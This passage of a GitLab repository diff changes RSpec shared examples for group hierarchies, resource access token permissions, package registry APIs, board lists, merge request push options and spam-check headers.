- let!(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
- let!(:another_group) { create(:group, path: 'gitllab') }
- let!(:another_group_nested) { create(:group, path: 'foo', parent: another_group) }
-
- it 'returns the correct tree' do
- expect(group.self_and_hierarchy).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
- expect(nested_group.self_and_hierarchy).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
- expect(very_deep_nested_group.self_and_hierarchy).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
- end
- end
-
- describe '#ancestors' do
- let(:group) { create(:group) }
- let(:nested_group) { create(:group, parent: group) }
- let(:deep_nested_group) { create(:group, parent: nested_group) }
- let(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
-
- it 'returns the correct ancestors' do
- expect(very_deep_nested_group.ancestors).to include(group, nested_group, deep_nested_group)
- expect(deep_nested_group.ancestors).to include(group, nested_group)
- expect(nested_group.ancestors).to include(group)
- expect(group.ancestors).to eq([])
- end
- end
-
- describe '#self_and_ancestors' do
- let(:group) { create(:group) }
- let(:nested_group) { create(:group, parent: group) }
- let(:deep_nested_group) { create(:group, parent: nested_group) }
- let(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
-
- it 'returns the correct ancestors' do
- expect(very_deep_nested_group.self_and_ancestors).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
- expect(deep_nested_group.self_and_ancestors).to contain_exactly(group, nested_group, deep_nested_group)
- expect(nested_group.self_and_ancestors).to contain_exactly(group, nested_group)
- expect(group.self_and_ancestors).to contain_exactly(group)
- end
- end
-
- describe '#descendants' do
- let!(:group) { create(:group, path: 'git_lab') }
- let!(:nested_group) { create(:group, parent: group) }
- let!(:deep_nested_group) { create(:group, parent: nested_group) }
- let!(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
- let!(:another_group) { create(:group, path: 'gitllab') }
- let!(:another_group_nested) { create(:group, path: 'foo', parent: another_group) }
-
- it 'returns the correct descendants' do
- expect(very_deep_nested_group.descendants.to_a).to eq([])
- expect(deep_nested_group.descendants.to_a).to include(very_deep_nested_group)
- expect(nested_group.descendants.to_a).to include(deep_nested_group, very_deep_nested_group)
- expect(group.descendants.to_a).to include(nested_group, deep_nested_group, very_deep_nested_group)
- end
- end
-
- describe '#self_and_descendants' do
- let!(:group) { create(:group, path: 'git_lab') }
- let!(:nested_group) { create(:group, parent: group) }
- let!(:deep_nested_group) { create(:group, parent: nested_group) }
- let!(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
- let!(:another_group) { create(:group, path: 'gitllab') }
- let!(:another_group_nested) { create(:group, path: 'foo', parent: another_group) }
-
- it 'returns the correct descendants' do
- expect(very_deep_nested_group.self_and_descendants).to contain_exactly(very_deep_nested_group)
- expect(deep_nested_group.self_and_descendants).to contain_exactly(deep_nested_group, very_deep_nested_group)
- expect(nested_group.self_and_descendants).to contain_exactly(nested_group, deep_nested_group, very_deep_nested_group)
- expect(group.self_and_descendants).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
- end
- end
-end
diff --git a/spec/support/shared_examples/nav_sidebar_shared_examples.rb b/spec/support/shared_examples/nav_sidebar_shared_examples.rb
index e084a957785..3e500683712 100644
--- a/spec/support/shared_examples/nav_sidebar_shared_examples.rb
+++ b/spec/support/shared_examples/nav_sidebar_shared_examples.rb
@@ -24,3 +24,13 @@ RSpec.shared_examples 'page has active sub tab' do |title|
.to have_content(title)
end
end
+
+RSpec.shared_examples 'sidebar includes snowplow attributes' do |track_action, track_label, track_property|
+ specify do
+ allow(view).to receive(:tracking_enabled?).and_return(true)
+
+ render
+
+ expect(rendered).to have_css(".nav-sidebar[data-track-action=\"#{track_action}\"][data-track-label=\"#{track_label}\"][data-track-property=\"#{track_property}\"]")
+ end
+end
diff --git a/spec/support/shared_examples/policies/resource_access_token_shared_examples.rb b/spec/support/shared_examples/policies/resource_access_token_shared_examples.rb
index 7710e756e5b..337ad024fc0 100644
--- a/spec/support/shared_examples/policies/resource_access_token_shared_examples.rb
+++ b/spec/support/shared_examples/policies/resource_access_token_shared_examples.rb
@@ -5,16 +5,70 @@ RSpec.shared_examples 'Self-managed Core resource access tokens' do
allow(::Gitlab).to receive(:com?).and_return(false)
end
- context 'with owner' do
+ context 'with owner access' do
let(:current_user) { owner }
- it { is_expected.to be_allowed(:admin_resource_access_tokens) }
+ context 'create resource access tokens' do
+ it { is_expected.to be_allowed(:create_resource_access_tokens) }
+
+ context 'when resource access token creation is not allowed' do
+ let(:group) { create(:group) }
+ let(:project) { create(:project, group: group) }
+
+ before do
+ group.namespace_settings.update_column(:resource_access_token_creation_allowed, false)
+ end
+
+ it { is_expected.not_to be_allowed(:create_resource_access_tokens) }
+ end
+
+ context 'when parent group has project access token creation disabled' do
+ let(:parent) { create(:group) }
+ let(:group) { create(:group, parent: parent) }
+ let(:project) { create(:project, group: group) }
+
+ before do
+ parent.namespace_settings.update_column(:resource_access_token_creation_allowed, false)
+ end
+
+ it { is_expected.not_to be_allowed(:create_resource_access_tokens) }
+ end
+
+ context 'with a personal namespace project' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, namespace: namespace) }
+
+ before do
+ project.add_maintainer(current_user)
+ end
+
+ it { is_expected.to be_allowed(:create_resource_access_tokens) }
+ end
+ end
+
+ context 'read resource access tokens' do
+ it { is_expected.to be_allowed(:read_resource_access_tokens) }
+ end
+
+ context 'destroy resource access tokens' do
+ it { is_expected.to be_allowed(:destroy_resource_access_tokens) }
+ end
end
- context 'with developer' do
+ context 'with developer access' do
let(:current_user) { developer }
- it { is_expected.not_to be_allowed(:admin_resource_access_tokens) }
+ context 'create resource access tokens' do
+ it { is_expected.not_to be_allowed(:create_resource_access_tokens) }
+ end
+
+ context 'read resource access tokens' do
+ it { is_expected.not_to be_allowed(:read_resource_access_tokens) }
+ end
+
+ context 'destroy resource access tokens' do
+ it { is_expected.not_to be_allowed(:destroy_resource_access_tokens) }
+ end
end
end
@@ -24,9 +78,19 @@ RSpec.shared_examples 'GitLab.com Core resource access tokens' do
stub_ee_application_setting(should_check_namespace_plan: true)
end
- context 'with owner' do
+ context 'with owner access' do
let(:current_user) { owner }
- it { is_expected.not_to be_allowed(:admin_resource_access_tokens) }
+ context 'create resource access tokens' do
+ it { is_expected.not_to be_allowed(:create_resource_access_tokens) }
+ end
+
+ context 'read resource access tokens' do
+ it { is_expected.not_to be_allowed(:read_resource_access_tokens) }
+ end
+
+ context 'destroy resource access tokens' do
+ it { is_expected.not_to be_allowed(:destroy_resource_access_tokens) }
+ end
end
end
diff --git a/spec/support/shared_examples/querying_shared_examples.rb b/spec/support/shared_examples/querying_shared_examples.rb
new file mode 100644
index 00000000000..1f554ddb441
--- /dev/null
+++ b/spec/support/shared_examples/querying_shared_examples.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+def update_column_regex(column)
+ /UPDATE.+SET.+#{column}[^=*]=.+FROM.*/m
+end
+
+RSpec.shared_examples 'update on column' do |column|
+ it "#{column} column updated" do
+ qr = ActiveRecord::QueryRecorder.new do
+ subject
+ end
+ expect(qr.log).to include a_string_matching update_column_regex(column)
+ end
+end
+
+RSpec.shared_examples 'no update on column' do |column|
+ it "#{column} column is not updated" do
+ qr = ActiveRecord::QueryRecorder.new do
+ subject
+ end
+ expect(qr.log).not_to include a_string_matching update_column_regex(column)
+ end
+end
diff --git a/spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb b/spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb
index 4fde68efd60..ca6536444fd 100644
--- a/spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb
+++ b/spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb
@@ -23,7 +23,7 @@ RSpec.shared_examples 'close quick action' do |issuable_type|
it "creates the #{issuable_type} and interprets close quick action accordingly" do
fill_in "#{issuable_type}_title", with: 'bug 345'
fill_in "#{issuable_type}_description", with: "bug description\n/close"
- click_button "Submit #{issuable_type}".humanize
+ click_button "Create #{issuable_type}".humanize
issuable = project.public_send(issuable_type.to_s.pluralize).first
diff --git a/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
index 54ea876bed2..87aaac673c1 100644
--- a/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
@@ -205,6 +205,14 @@ RSpec.shared_examples 'empty recipe for not found package' do
'aa/bb/%{project}/ccc' % { project: ::Packages::Conan::Metadatum.package_username_from(full_path: project.full_path) }
end
+ let(:presenter) { double('::Packages::Conan::PackagePresenter') }
+
+ before do
+ allow(::Packages::Conan::PackagePresenter).to receive(:new)
+ .with(package, user, package.project, any_args)
+ .and_return(presenter)
+ end
+
it 'returns not found' do
allow(::Packages::Conan::PackagePresenter).to receive(:new)
.with(
@@ -248,8 +256,6 @@ RSpec.shared_examples 'recipe download_urls' do
'conanmanifest.txt' => "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
}
- allow(presenter).to receive(:recipe_urls) { expected_response }
-
subject
expect(json_response).to eq(expected_response)
@@ -268,8 +274,6 @@ RSpec.shared_examples 'package download_urls' do
'conan_package.tgz' => "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conan_package.tgz"
}
- allow(presenter).to receive(:package_urls) { expected_response }
-
subject
expect(json_response).to eq(expected_response)
@@ -309,13 +313,14 @@ RSpec.shared_examples 'recipe snapshot endpoint' do
context 'with existing package' do
it 'returns a hash of files with their md5 hashes' do
+ conan_file_file = package.package_files.find_by(file_name: 'conanfile.py')
+ conan_manifest_file = package.package_files.find_by(file_name: 'conanmanifest.txt')
+
expected_response = {
- 'conanfile.py' => 'md5hash1',
- 'conanmanifest.txt' => 'md5hash2'
+ 'conanfile.py' => conan_file_file.file_md5,
+ 'conanmanifest.txt' => conan_manifest_file.file_md5
}
- allow(presenter).to receive(:recipe_snapshot) { expected_response }
-
subject
expect(json_response).to eq(expected_response)
@@ -333,13 +338,11 @@ RSpec.shared_examples 'package snapshot endpoint' do
context 'with existing package' do
it 'returns a hash of md5 values for the files' do
expected_response = {
- 'conaninfo.txt' => "md5hash1",
- 'conanmanifest.txt' => "md5hash2",
- 'conan_package.tgz' => "md5hash3"
+ 'conaninfo.txt' => "12345abcde",
+ 'conanmanifest.txt' => "12345abcde",
+ 'conan_package.tgz' => "12345abcde"
}
- allow(presenter).to receive(:package_snapshot) { expected_response }
-
subject
expect(json_response).to eq(expected_response)
diff --git a/spec/support/shared_examples/requests/api/graphql/projects/alert_management/integrations_shared_examples.rb b/spec/support/shared_examples/requests/api/graphql/projects/alert_management/integrations_shared_examples.rb
new file mode 100644
index 00000000000..c134f7d1839
--- /dev/null
+++ b/spec/support/shared_examples/requests/api/graphql/projects/alert_management/integrations_shared_examples.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'GraphQL query with several integrations requested' do |graphql_query_name:|
+ context 'when several HTTP integrations requested' do
+ let(:params_ai) { { id: global_id_of(active_http_integration) } }
+ let(:params_ii) { { id: global_id_of(inactive_http_integration) } }
+ let(:fields) { "nodes { id name }" }
+
+ let(:single_selection_query) do
+ graphql_query_for(
+ 'project',
+ { 'fullPath' => project.full_path },
+ <<~QUERY
+ ai: #{query_graphql_field(graphql_query_name, params_ai, fields)}
+ QUERY
+ )
+ end
+
+ let(:multi_selection_query) do
+ graphql_query_for(
+ 'project',
+ { 'fullPath' => project.full_path },
+ <<~QUERY
+ ai: #{query_graphql_field(graphql_query_name, params_ai, fields)}
+ ii: #{query_graphql_field(graphql_query_name, params_ii, fields)}
+ QUERY
+ )
+ end
+
+ it 'returns the correct properties of the integrations', :aggregate_failures do
+ post_graphql(multi_selection_query, current_user: current_user)
+
+ expect(graphql_data.dig('project', 'ai', 'nodes')).to include(
+ 'id' => global_id_of(active_http_integration),
+ 'name' => active_http_integration.name
+ )
+
+ expect(graphql_data.dig('project', 'ii', 'nodes')).to include(
+ 'id' => global_id_of(inactive_http_integration),
+ 'name' => inactive_http_integration.name
+ )
+ end
+
+ it 'batches queries' do
+ expect { post_graphql(multi_selection_query, current_user: current_user) }
+ .to issue_same_number_of_queries_as { post_graphql(single_selection_query, current_user: current_user) }.ignoring_cached_queries
+ end
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/logging_application_context_shared_examples.rb b/spec/support/shared_examples/requests/api/logging_application_context_shared_examples.rb
index 4a71b696d57..cb06c9fa596 100644
--- a/spec/support/shared_examples/requests/api/logging_application_context_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/logging_application_context_shared_examples.rb
@@ -1,21 +1,13 @@
# frozen_string_literal: true
RSpec.shared_examples 'storing arguments in the application context' do
- around do |example|
- Labkit::Context.with_context { example.run }
- end
-
it 'places the expected params in the application context' do
# Stub the clearing of the context so we can validate it later
- # The `around` block above makes sure we do clean it up later
allow(Labkit::Context).to receive(:pop)
subject
- Labkit::Context.with_context do |context|
- expect(context.to_h)
- .to include(log_hash(expected_params))
- end
+ expect(Gitlab::ApplicationContext.current).to include(log_hash(expected_params))
end
def log_hash(hash)
diff --git a/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb b/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb
index 7b7d2a33e8c..db70bc75c63 100644
--- a/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb
@@ -156,7 +156,7 @@ RSpec.shared_examples 'handling nuget metadata requests with package name and pa
include_context 'with expected presenters dependency groups'
let_it_be(:package_name) { 'Dummy.Package' }
- let_it_be(:package) { create(:nuget_package, :with_metadatum, name: 'Dummy.Package', project: project) }
+ let_it_be(:package) { create(:nuget_package, :with_metadatum, name: package_name, project: project) }
let_it_be(:tag) { create(:packages_tag, package: package, name: 'test') }
subject { get api(url) }
@@ -225,7 +225,7 @@ RSpec.shared_examples 'handling nuget search requests' do |anonymous_requests_ex
let(:take) { 26 }
let(:skip) { 0 }
let(:include_prereleases) { true }
- let(:query_parameters) { { q: search_term, take: take, skip: skip, prerelease: include_prereleases } }
+ let(:query_parameters) { { q: search_term, take: take, skip: skip, prerelease: include_prereleases }.compact }
subject { get api(url) }
diff --git a/spec/support/shared_examples/requests/api/packages_shared_examples.rb b/spec/support/shared_examples/requests/api/packages_shared_examples.rb
index 15976eed021..eb86b7c37d5 100644
--- a/spec/support/shared_examples/requests/api/packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/packages_shared_examples.rb
@@ -100,7 +100,7 @@ RSpec.shared_examples 'job token for package GET requests' do
end
end
-RSpec.shared_examples 'job token for package uploads' do
+RSpec.shared_examples 'job token for package uploads' do |authorize_endpoint: false|
context 'with job token headers' do
let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, job.token).merge(workhorse_headers) }
@@ -111,6 +111,17 @@ RSpec.shared_examples 'job token for package uploads' do
context 'valid token' do
it_behaves_like 'returning response status', :success
+
+ unless authorize_endpoint
+ it 'creates a package with build info' do
+ expect { subject }.to change { Packages::Package.count }.by(1)
+
+ pkg = ::Packages::Package.order_created
+ .last
+
+ expect(pkg.build_infos).to be
+ end
+ end
end
context 'invalid token' do
diff --git a/spec/support/shared_examples/requests/api/rubygems_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/rubygems_packages_shared_examples.rb
index 15fb6611b90..abdb468353a 100644
--- a/spec/support/shared_examples/requests/api/rubygems_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/rubygems_packages_shared_examples.rb
@@ -43,6 +43,8 @@ end
RSpec.shared_examples 'process rubygems upload' do |user_type, status, add_member = true|
RSpec.shared_examples 'creates rubygems package files' do
it 'creates package files', :aggregate_failures do
+ expect(::Packages::Rubygems::ExtractionWorker).to receive(:perform_async).once
+
expect { subject }
.to change { project.packages.count }.by(1)
.and change { Packages::PackageFile.count }.by(1)
@@ -51,6 +53,17 @@ RSpec.shared_examples 'process rubygems upload' do |user_type, status, add_membe
package_file = project.packages.last.package_files.reload.last
expect(package_file.file_name).to eq('package.gem')
end
+
+ it 'returns bad request if package creation fails' do
+ file_service = double('file_service', execute: nil)
+
+ expect(::Packages::CreatePackageFileService).to receive(:new).and_return(file_service)
+ expect(::Packages::Rubygems::ExtractionWorker).not_to receive(:perform_async)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
end
context "for user type #{user_type}" do
diff --git a/spec/support/shared_examples/requests/clusters/integrations_controller_shared_examples.rb b/spec/support/shared_examples/requests/clusters/integrations_controller_shared_examples.rb
new file mode 100644
index 00000000000..490c7d12115
--- /dev/null
+++ b/spec/support/shared_examples/requests/clusters/integrations_controller_shared_examples.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples '#create_or_update action' do
+ let(:params) do
+ { integration: { application_type: Clusters::Applications::Prometheus.application_name, enabled: true } }
+ end
+
+ let(:path) { raise NotImplementedError }
+ let(:redirect_path) { raise NotImplementedError }
+
+ describe 'authorization' do
+ subject do
+ post path, params: params
+ end
+
+ it_behaves_like 'a secure endpoint'
+ end
+
+ describe 'functionality' do
+ before do
+ sign_in(user)
+ end
+
+ it 'redirects on success' do
+ post path, params: params
+
+ expect(response).to have_gitlab_http_status(:redirect)
+ expect(response).to redirect_to(redirect_path)
+ expect(flash[:notice]).to be_present
+ end
+
+ it 'redirects on error' do
+ error = ServiceResponse.error(message: 'failed')
+
+ expect_next_instance_of(Clusters::Integrations::CreateService) do |service|
+ expect(service).to receive(:execute).and_return(error)
+ end
+
+ post path, params: params
+
+ expect(response).to have_gitlab_http_status(:redirect)
+ expect(response).to redirect_to(redirect_path)
+ expect(flash[:alert]).to eq(error.message)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/serializers/environment_serializer_shared_examples.rb b/spec/support/shared_examples/serializers/environment_serializer_shared_examples.rb
new file mode 100644
index 00000000000..00146335ef7
--- /dev/null
+++ b/spec/support/shared_examples/serializers/environment_serializer_shared_examples.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+RSpec.shared_examples 'avoid N+1 on environments serialization' do
+ it 'avoids N+1 database queries with grouping', :request_store do
+ create_environment_with_associations(project)
+
+ control = ActiveRecord::QueryRecorder.new { serialize(grouping: true) }
+
+ create_environment_with_associations(project)
+
+ expect { serialize(grouping: true) }.not_to exceed_query_limit(control.count)
+ end
+
+ it 'avoids N+1 database queries without grouping', :request_store do
+ create_environment_with_associations(project)
+
+ control = ActiveRecord::QueryRecorder.new { serialize(grouping: false) }
+
+ create_environment_with_associations(project)
+
+ expect { serialize(grouping: false) }.not_to exceed_query_limit(control.count)
+ end
+
+ def serialize(grouping:)
+ EnvironmentSerializer.new(current_user: user, project: project).yield_self do |serializer|
+ serializer.within_folders if grouping
+ serializer.represent(Environment.where(project: project))
+ end
+ end
+end
diff --git a/spec/support/shared_examples/services/boards/lists_destroy_service_shared_examples.rb b/spec/support/shared_examples/services/boards/lists_destroy_service_shared_examples.rb
index 6a4f284ec54..94da405e491 100644
--- a/spec/support/shared_examples/services/boards/lists_destroy_service_shared_examples.rb
+++ b/spec/support/shared_examples/services/boards/lists_destroy_service_shared_examples.rb
@@ -13,7 +13,7 @@ RSpec.shared_examples 'lists destroy service' do
development = create(:list, board: board, position: 0)
review = create(:list, board: board, position: 1)
staging = create(:list, board: board, position: 2)
- closed = board.closed_list
+ closed = board.lists.closed.first
described_class.new(parent, user).execute(development)
@@ -24,7 +24,7 @@ RSpec.shared_examples 'lists destroy service' do
end
it 'does not remove list from board when list type is closed' do
- list = board.closed_list
+ list = board.lists.closed.first
service = described_class.new(parent, user)
expect { service.execute(list) }.not_to change(board.lists, :count)
diff --git a/spec/support/shared_examples/services/boards/lists_list_service_shared_examples.rb b/spec/support/shared_examples/services/boards/lists_list_service_shared_examples.rb
index 41fd286682e..e1143562661 100644
--- a/spec/support/shared_examples/services/boards/lists_list_service_shared_examples.rb
+++ b/spec/support/shared_examples/services/boards/lists_list_service_shared_examples.rb
@@ -2,14 +2,34 @@
RSpec.shared_examples 'lists list service' do
context 'when the board has a backlog list' do
- let!(:backlog_list) { create(:backlog_list, board: board) }
+ let!(:backlog_list) { create_backlog_list(board) }
it 'does not create a backlog list' do
expect { service.execute(board) }.not_to change(board.lists, :count)
end
it "returns board's lists" do
- expect(service.execute(board)).to eq [backlog_list, list, board.closed_list]
+ expect(service.execute(board)).to eq [backlog_list, list, board.lists.closed.first]
+ end
+
+ context 'when hide_backlog_list is true' do
+ before do
+ board.update_column(:hide_backlog_list, true)
+ end
+
+ it 'hides backlog list' do
+ expect(service.execute(board)).to match_array([board.lists.closed.first, list])
+ end
+ end
+
+ context 'when hide_closed_list is true' do
+ before do
+ board.update_column(:hide_closed_list, true)
+ end
+
+ it 'hides closed list' do
+ expect(service.execute(board)).to match_array([backlog_list, list])
+ end
end
end
@@ -23,25 +43,21 @@ RSpec.shared_examples 'lists list service' do
end
it "returns board's lists" do
- expect(service.execute(board)).to eq [board.backlog_list, list, board.closed_list]
+ expect(service.execute(board)).to eq [board.lists.backlog.first, list, board.lists.closed.first]
end
end
context 'when wanting a specific list' do
- let!(:list1) { create(:list, board: board) }
-
it 'returns list specified by id' do
- service = described_class.new(parent, user, list_id: list1.id)
+ service = described_class.new(parent, user, list_id: list.id)
- expect(service.execute(board, create_default_lists: false)).to eq [list1]
+ expect(service.execute(board, create_default_lists: false)).to eq [list]
end
it 'returns empty result when list is not found' do
- external_board = create(:board, resource_parent: create(:project))
- external_list = create(:list, board: external_board)
- service = described_class.new(parent, user, list_id: external_list.id)
+ service = described_class.new(parent, user, list_id: unrelated_list.id)
- expect(service.execute(board, create_default_lists: false)).to eq(List.none)
+ expect(service.execute(board, create_default_lists: false)).to be_empty
end
end
end
diff --git a/spec/support/shared_examples/services/clusters/parse_cluster_applications_artifact_shared_examples.rb b/spec/support/shared_examples/services/clusters/parse_cluster_applications_artifact_shared_examples.rb
index cbe20928f98..466300017d9 100644
--- a/spec/support/shared_examples/services/clusters/parse_cluster_applications_artifact_shared_examples.rb
+++ b/spec/support/shared_examples/services/clusters/parse_cluster_applications_artifact_shared_examples.rb
@@ -41,7 +41,7 @@ RSpec.shared_examples 'parse cluster applications artifact' do |release_name|
end.to change(application_class, :count)
expect(cluster_application).to be_persisted
- expect(cluster_application).to be_installed
+ expect(cluster_application).to be_externally_installed
end
end
@@ -53,7 +53,7 @@ RSpec.shared_examples 'parse cluster applications artifact' do |release_name|
it 'marks the application as installed' do
described_class.new(job, user).execute(artifact)
- expect(cluster_application).to be_installed
+ expect(cluster_application).to be_externally_installed
end
end
end
diff --git a/spec/support/shared_examples/services/groups_count_service_shared_examples.rb b/spec/support/shared_examples/services/groups_count_service_shared_examples.rb
new file mode 100644
index 00000000000..84937c3d4d7
--- /dev/null
+++ b/spec/support/shared_examples/services/groups_count_service_shared_examples.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+# The calling spec should use `:use_clean_rails_memory_store_caching`
+# when including this shared example. E.g.:
+#
+# describe MyCountService, :use_clean_rails_memory_store_caching do
+# it_behaves_like 'a counter caching service with threshold'
+# end
+RSpec.shared_examples 'a counter caching service with threshold' do
+ let(:cache_key) { subject.cache_key }
+ let(:under_threshold) { described_class::CACHED_COUNT_THRESHOLD - 1 }
+ let(:over_threshold) { described_class::CACHED_COUNT_THRESHOLD + 1 }
+
+ context 'when cache is empty' do
+ before do
+ Rails.cache.delete(cache_key)
+ end
+
+ it 'refreshes cache if value over threshold' do
+ allow(subject).to receive(:uncached_count).and_return(over_threshold)
+
+ expect(subject.count).to eq(over_threshold)
+ expect(Rails.cache.read(cache_key)).to eq(over_threshold)
+ end
+
+ it 'does not refresh cache if value under threshold' do
+ allow(subject).to receive(:uncached_count).and_return(under_threshold)
+
+ expect(subject.count).to eq(under_threshold)
+ expect(Rails.cache.read(cache_key)).to be_nil
+ end
+ end
+
+ context 'when cached count is under the threshold value' do
+ before do
+ Rails.cache.write(cache_key, under_threshold)
+ end
+
+ it 'does not refresh cache' do
+ expect(Rails.cache).not_to receive(:write)
+ expect(subject.count).to eq(under_threshold)
+ end
+ end
+
+ context 'when cached count is over the threshold value' do
+ before do
+ Rails.cache.write(cache_key, over_threshold)
+ end
+
+ it 'does not refresh cache' do
+ expect(Rails.cache).not_to receive(:write)
+ expect(subject.count).to eq(over_threshold)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/services/merge_request_shared_examples.rb b/spec/support/shared_examples/services/merge_request_shared_examples.rb
index 56179b6cd00..178b6bc47e1 100644
--- a/spec/support/shared_examples/services/merge_request_shared_examples.rb
+++ b/spec/support/shared_examples/services/merge_request_shared_examples.rb
@@ -73,3 +73,93 @@ RSpec.shared_examples 'merge request reviewers cache counters invalidator' do
described_class.new(project, user, {}).execute(merge_request)
end
end
+
+RSpec.shared_examples_for 'a service that can create a merge request' do
+ subject(:last_mr) { MergeRequest.last }
+
+ it 'creates a merge request with the correct target branch' do
+ branch = push_options[:target] || project.default_branch
+
+ expect { service.execute }.to change { MergeRequest.count }.by(1)
+ expect(last_mr.target_branch).to eq(branch)
+ end
+
+ context 'when project has been forked', :sidekiq_might_not_need_inline do
+ let(:forked_project) { fork_project(project, user1, repository: true) }
+ let(:service) { described_class.new(forked_project, user1, changes, push_options) }
+
+ before do
+ allow(forked_project).to receive(:empty_repo?).and_return(false)
+ end
+
+ it 'sets the correct source and target project' do
+ service.execute
+
+ expect(last_mr.source_project).to eq(forked_project)
+ expect(last_mr.target_project).to eq(project)
+ end
+ end
+end
+
+RSpec.shared_examples_for 'a service that does not create a merge request' do
+ it do
+ expect { service.execute }.not_to change { MergeRequest.count }
+ end
+end
+
+# In the non-foss version of GitLab, there can be many assignees, so
+# there 'count' can be something other than 0 or 1. In the foss
+# version of GitLab, there can be only one assignee though, so 'count'
+# can only be 0 or 1.
+RSpec.shared_examples_for 'a service that can change assignees of a merge request' do |count|
+ subject(:last_mr) { MergeRequest.last }
+
+ it 'changes assignee count' do
+ service.execute
+
+ expect(last_mr.assignees.count).to eq(count)
+ end
+end
+
+RSpec.shared_examples 'with an existing branch that has a merge request open' do |count|
+ let(:changes) { existing_branch_changes }
+ let!(:merge_request) { create(:merge_request, source_project: project, source_branch: source_branch)}
+
+ it_behaves_like 'a service that does not create a merge request'
+ it_behaves_like 'a service that can change assignees of a merge request', count
+end
+
+RSpec.shared_examples 'when coupled with the `create` push option' do |count|
+ let(:push_options) { { create: true, assign: assigned, unassign: unassigned } }
+
+ it_behaves_like 'a service that can create a merge request'
+ it_behaves_like 'a service that can change assignees of a merge request', count
+end
+
+RSpec.shared_examples 'with a new branch' do |count|
+ let(:changes) { new_branch_changes }
+
+ it_behaves_like 'a service that does not create a merge request'
+
+ it 'adds an error to the service' do
+ service.execute
+
+ expect(service.errors).to include(error_mr_required)
+ end
+
+ it_behaves_like 'when coupled with the `create` push option', count
+end
+
+RSpec.shared_examples 'with an existing branch but no open MR' do |count|
+ let(:changes) { existing_branch_changes }
+
+ it_behaves_like 'a service that does not create a merge request'
+
+ it 'adds an error to the service' do
+ service.execute
+
+ expect(service.errors).to include(error_mr_required)
+ end
+
+ it_behaves_like 'when coupled with the `create` push option', count
+end
diff --git a/spec/support/shared_examples/services/notification_service_shared_examples.rb b/spec/support/shared_examples/services/notification_service_shared_examples.rb
index 43fe6789145..cfd674e3c43 100644
--- a/spec/support/shared_examples/services/notification_service_shared_examples.rb
+++ b/spec/support/shared_examples/services/notification_service_shared_examples.rb
@@ -45,7 +45,7 @@ RSpec.shared_examples 'group emails are disabled' do
before do
reset_delivered_emails!
- target_group.clear_memoization(:emails_disabled)
+ target_group.clear_memoization(:emails_disabled_memoized)
end
it 'sends no emails with group emails disabled' do
diff --git a/spec/support/shared_examples/services/snippets_shared_examples.rb b/spec/support/shared_examples/services/snippets_shared_examples.rb
index 10add3a7299..0c4db7ded69 100644
--- a/spec/support/shared_examples/services/snippets_shared_examples.rb
+++ b/spec/support/shared_examples/services/snippets_shared_examples.rb
@@ -1,7 +1,8 @@
# frozen_string_literal: true
RSpec.shared_examples 'checking spam' do
- let(:request) { double(:request) }
+ let(:request) { double(:request, headers: headers) }
+ let(:headers) { nil }
let(:api) { true }
let(:captcha_response) { 'abc123' }
let(:spam_log_id) { 1 }
@@ -44,6 +45,44 @@ RSpec.shared_examples 'checking spam' do
subject
end
+ context 'when CAPTCHA arguments are passed in the headers' do
+ let(:headers) do
+ {
+ 'X-GitLab-Spam-Log-Id' => spam_log_id,
+ 'X-GitLab-Captcha-Response' => captcha_response
+ }
+ end
+
+ let(:extra_opts) do
+ {
+ request: request,
+ api: api,
+ disable_spam_action_service: disable_spam_action_service
+ }
+ end
+
+ it 'executes the SpamActionService correctly' do
+ spam_params = Spam::SpamParams.new(
+ api: api,
+ captcha_response: captcha_response,
+ spam_log_id: spam_log_id
+ )
+ expect_next_instance_of(
+ Spam::SpamActionService,
+ {
+ spammable: kind_of(Snippet),
+ request: request,
+ user: an_instance_of(User),
+ action: action
+ }
+ ) do |instance|
+ expect(instance).to receive(:execute).with(spam_params: spam_params)
+ end
+
+ subject
+ end
+ end
+
context 'when spam action service is disabled' do
let(:disable_spam_action_service) { true }
diff --git a/spec/support/shared_examples/workers/in_product_marketing_email_shared_example.rb b/spec/support/shared_examples/workers/in_product_marketing_email_shared_example.rb
new file mode 100644
index 00000000000..c4391f61369
--- /dev/null
+++ b/spec/support/shared_examples/workers/in_product_marketing_email_shared_example.rb
